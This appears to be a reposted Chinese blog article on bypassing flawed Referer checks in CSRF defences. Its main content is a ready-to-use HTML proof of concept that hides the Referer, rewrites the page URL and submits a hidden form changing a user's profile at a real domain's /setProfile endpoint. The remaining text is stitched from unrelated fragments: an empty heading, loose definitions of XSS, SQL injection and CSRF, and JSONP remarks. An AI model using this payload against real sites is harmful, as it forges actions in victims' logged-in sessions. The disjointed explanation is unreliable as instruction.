CSRF绕过后端Referer校验分正常情况和不正常的情况,我们这里主要讨论开发在写校验referer程序时,不正常的情况下怎么进行绕过。
正常的情况指服务器端校验Referer的代码没毛病,那么意味着前端是无法绕过的。
我之前考虑过的方案:
不正常的情况指服务器端校验Referer的代码有漏洞,前端才能做到绕过,下面介绍几个可能会绕过Referer的案例;
可以尝试无Referer标签,万一逻辑刚好没判断无Referer的情况呢;
<meta name="referrer" content="never">
Copy<html>
<meta name="referrer" content="never">
<body>
<script>history.pushState('', '', '/')</script> <!-- 实现浏览器页面不刷新修改url链接 -->
<form action="http://www.baidu.com/setProfile" method="POST">
<input type="hidden" name="nickname" value="new22" />
<input type="hidden" name="email" value="1@1.com" />
<input type="hidden" name="team" value="new22" />
<input type="hidden" name="address" value="new33" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
原理就是在路径上创建成原本referer中有的字段名,如果校验只是判断是否包含,那就666了;
XSS跨站脚本攻击指攻击者在网页中嵌入客户端脚本,CSRF(XSRF)尽管听起来很想XSS跨站脚本攻击,但是它于XSS完全不同。SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
为了更好的防御CSRF,最佳实践应该是结合上面总结的防御措施方式中的优缺点来综合考虑,结合当前Web应用程序自身的情况做合适的选择,才能更好的预防CSRF的发生。
在CSRF/JSONP劫持的运用上,CORS跨域被限制的情况下不存在了,因此AJAX的GET/POST一堆灵活操作没法用。JSONP也无法设置header、cookie等。FORM表单请求的方式当然也没法设置header
CSRF,是跨站请求伪造(Cross Site Request Forgery)的缩写,是一种劫持受信任用户向服务器发送非预期请求的攻击方式。通常情况下,CSRF 攻击是攻击者借助受害者的 Cookie 骗取服务器的信任
跨站请求伪造(Cross Site Request Forgery),缩写为CSRF或者XSRF,它是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。防范CSRF是保障系统稳定性的其中一环
内容以共享、参考、研究为目的,不存在任何商业目的。其版权属原作者所有,如有侵权或违规,请与小编联系!情况属实本人将予以删除!